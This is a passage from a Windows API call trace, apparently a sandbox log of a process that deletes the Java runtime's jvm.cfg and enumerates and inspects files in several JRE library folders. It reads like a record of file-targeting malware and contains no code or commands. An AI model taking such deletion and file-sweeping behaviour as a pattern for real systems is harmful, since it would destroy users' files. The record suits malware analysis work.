(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0130.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0130.309] GetLastError () returned 0x0 [0130.309] GetLastError () returned 0x0 [0130.309] GetCurrentThreadId () returned 0x9b0 [0130.310] GetLastError () returned 0x0 [0130.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.310] GetLastError () returned 0x0 [0130.310] GetLastError () returned 0x0 [0130.310] GetCurrentThreadId () returned 0x9b0 [0130.310] GetLastError () returned 0x0 [0130.310] GetLastError () returned 0x0 [0130.311] GetLastError () returned 0x0 [0130.311] GetCurrentThreadId () returned 0x9b0 [0130.311] GetLastError () returned 0x0 [0130.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0130.311] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x298) returned 0x33f3a78 [0130.312] GetCurrentThreadId () returned 0x9b0 [0130.312] GetLastError () returned 0x0 [0130.312] GetLastError () returned 0x0 [0130.312] GetLastError () returned 0x0 [0130.312] GetLastError () returned 0x0 [0130.312] GetCurrentThreadId () returned 0x9b0 [0130.312] GetLastError () returned 0x0 [0130.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3a78 | out: hHeap=0x2ad0000) returned 1 [0130.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.312] GetLastError () returned 0x0 [0130.313] GetLastError () returned 0x0 [0130.313] GetCurrentThreadId () returned 0x9b0 [0130.313] GetLastError () returned 0x0 [0130.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6358 | out: hHeap=0x2ad0000) returned 1 [0130.313] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f87e8 [0130.313] GetLastError () returned 0x0 [0130.313] GetLastError () returned 0x0 [0130.313] GetCurrentThreadId () returned 0x9b0 [0130.313] GetLastError () returned 0x0 [0130.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f87e8 | out: hHeap=0x2ad0000) returned 1 [0130.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.314] GetLastError () returned 0x0 [0130.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0130.315] CloseHandle (hObject=0x3ac) returned 1 [0130.315] GetLastError () returned 0x0 [0130.315] GetCurrentThreadId () returned 0x9b0 [0130.315] GetLastError () returned 0x0 [0130.315] GetLastError () returned 0x0 [0130.315] CloseHandle (hObject=0x39c) returned 1 [0130.315] GetLastError () returned 0x0 [0130.315] GetCurrentThreadId () returned 0x9b0 [0130.315] GetLastError () returned 0x0 [0130.315] GetLastError () returned 0x0 [0130.316] GetLastError () returned 0x0 [0130.316] GetLastError () returned 0x0 [0130.316] GetLastError () returned 0x0 [0130.316] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0130.320] GetLastError () returned 0x0 [0130.320] GetCurrentThreadId () returned 0x9b0 [0130.320] GetLastError () returned 0x0 [0130.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0130.320] GetCurrentThreadId () returned 0x9b0 [0130.320] GetLastError () returned 0x0 [0130.320] GetLastError () returned 0x0 [0130.320] GetLastError () returned 0x0 [0130.321] GetLastError () returned 0x0 [0130.321] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0130.321] GetLastError () returned 0x0 [0130.321] GetCurrentThreadId () returned 0x9b0 [0130.321] GetLastError () returned 0x0 [0130.321] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0130.321] GetLastError () returned 0x0 [0130.321] GetCurrentThreadId () returned 0x9b0 [0130.321] GetLastError () returned 0x0 [0130.321] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0130.322] GetLastError () returned 0x12 [0130.322] GetCurrentThreadId () returned 0x9b0 [0130.322] GetLastError () returned 0x12 [0130.322] GetLastError () returned 0x12 [0130.322] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0130.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0130.322] GetCurrentThreadId () returned 0x9b0 [0130.322] GetLastError () returned 0x12 [0130.322] GetLastError () returned 0x12 [0130.322] GetLastError () returned 0x12 [0130.323] GetLastError () returned 0x12 [0130.323] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0130.323] GetLastError () returned 0x12 [0130.323] GetCurrentThreadId () returned 0x9b0 [0130.323] GetLastError () returned 0x12 [0130.323] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0130.323] GetLastError () returned 0x12 [0130.323] GetCurrentThreadId () returned 0x9b0 [0130.323] GetLastError () returned 0x12 [0130.323] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0130.323] GetLastError () returned 0x12 [0130.324] GetCurrentThreadId () returned 0x9b0 [0130.324] GetLastError () returned 0x12 [0130.324] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0130.324] GetLastError () returned 0x12 [0130.324] GetCurrentThreadId () returned 0x9b0 [0130.324] GetLastError () returned 0x12 [0130.324] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0130.324] GetLastError () returned 0x12 [0130.324] GetCurrentThreadId () returned 0x9b0 [0130.324] GetLastError () returned 0x12 [0130.324] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0130.324] GetLastError () returned 0x12 [0130.325] GetCurrentThreadId () returned 0x9b0 [0130.325] GetLastError () returned 0x12 [0130.325] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0130.325] GetLastError () returned 0x12 [0130.325] GetCurrentThreadId () returned 0x9b0 [0130.325] GetLastError () returned 0x12 [0130.325] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0130.325] GetLastError () returned 0x12 [0130.325] GetCurrentThreadId () returned 0x9b0 [0130.325] GetLastError () returned 0x12 [0130.325] GetLastError () returned 0x12 [0130.325] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0130.325] GetLastError () returned 0x12 [0130.326] GetLastError () returned 0x12 [0130.326] GetLastError () returned 0x12 [0130.326] GetLastError () returned 0x12 [0130.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.326] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0130.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0130.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.326] GetCurrentThreadId () returned 0x9b0 [0130.326] GetLastError () returned 0x12 [0130.327] GetLastError () returned 0x12 [0130.327] GetLastError () returned 0x12 [0130.327] GetLastError () returned 0x12 [0130.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0130.327] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0130.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0130.327] GetLastError () returned 0x12 [0130.327] GetLastError () returned 0x12 [0130.327] GetLastError () returned 0x12 [0130.327] GetLastError () returned 0x12 [0130.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.328] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0130.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0130.329] GetCurrentThreadId () returned 0x9b0 [0130.329] GetLastError () returned 0x12 [0130.329] GetLastError () returned 0x12 [0130.329] GetLastError () returned 0x12 [0130.329] GetLastError () returned 0x12 [0130.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.329] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0130.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0130.330] GetLastError () returned 0x12 [0130.330] GetLastError () returned 0x12 [0130.330] GetLastError () returned 0x12 [0130.330] GetLastError () returned 0x12 [0130.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0130.330] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0130.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0130.330] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x35c5ac8 [0130.330] GetCurrentThreadId () returned 0x9b0 [0130.330] GetLastError () returned 0x12 [0130.331] GetLastError () returned 0x12 [0130.331] GetLastError () returned 0x12 [0130.331] GetLastError () returned 0x12 [0130.331] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", lpFilePart=0x9bada4*="CIEXYZ.pf") returned 0x34 [0130.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0130.331] GetCurrentThreadId () returned 0x9b0 [0130.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0130.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0130.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0130.331] GetLastError () returned 0x12 [0130.331] GetLastError () returned 0x12 [0130.332] GetLastError () returned 0x12 [0130.332] GetLastError () returned 0x12 [0130.332] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", lpFilePart=0x9bada4*="GRAY.pf") returned 0x32 [0130.332] GetCurrentThreadId () returned 0x9b0 [0130.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0130.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0130.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0130.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0130.332] GetCurrentThreadId () returned 0x9b0 [0130.332] GetLastError () returned 0x12 [0130.333] GetLastError () returned 0x12 [0130.333] GetLastError () returned 0x12 [0130.333] GetLastError () returned 0x12 [0130.333] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", lpFilePart=0x9bada4*="LINEAR_RGB.pf") returned 0x38 [0130.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0130.333] GetCurrentThreadId () returned 0x9b0 [0130.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0130.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0130.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0130.333] GetLastError () returned 0x12 [0130.333] GetLastError () returned 0x12 [0130.334] GetLastError () returned 0x12 [0130.334] GetLastError () returned 0x12 [0130.334] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", lpFilePart=0x9bada4*="PYCC.pf") returned 0x32 [0130.334] GetCurrentThreadId () returned 0x9b0 [0130.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0130.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0130.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0130.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0130.334] GetCurrentThreadId () returned 0x9b0 [0130.334] GetLastError () returned 0x12 [0130.334] GetLastError () returned 0x12 [0130.335] GetLastError () returned 0x12 [0130.335] GetLastError () returned 0x12 [0130.335] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", lpFilePart=0x9bada4*="sRGB.pf") returned 0x32 [0130.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0130.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0130.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0130.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0130.335] GetCurrentThreadId () returned 0x9b0 [0130.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0130.335] GetLastError () returned 0x12 [0130.335] GetLastError () returned 0x12 [0130.336] GetLastError () returned 0x12 [0130.336] GetLastError () returned 0x12 [0130.336] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0130.337] GetLastError () returned 0x12 [0130.337] GetCurrentThreadId () returned 0x9b0 [0130.337] GetLastError () returned 0x12 [0130.338] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0130.338] GetLastError () returned 0x12 [0130.338] GetCurrentThreadId () returned 0x9b0 [0130.338] GetLastError () returned 0x12 [0130.338] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0130.338] GetLastError () returned 0x12 [0130.338] GetCurrentThreadId () returned 0x9b0 [0130.338] GetLastError () returned 0x12 [0130.338] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1 [0130.338] GetLastError () returned 0x12 [0130.338] GetCurrentThreadId () returned 0x9b0 [0130.338] GetLastError () returned 0x12 [0130.339] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1 [0130.339] GetLastError () returned 0x12 [0130.339] GetCurrentThreadId () returned 0x9b0 [0130.339] GetLastError () returned 0x12 [0130.339] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1 [0130.339] GetLastError () returned 0x12 [0130.339] GetCurrentThreadId () returned 0x9b0 [0130.339] GetLastError () returned 0x12 [0130.339] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1 [0130.339] GetCurrentThreadId () returned 0x9b0 [0130.339] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1 [0130.339] GetCurrentThreadId () returned 0x9b0 [0130.340] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1 [0130.340] GetCurrentThreadId () returned 0x9b0 [0130.340] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: 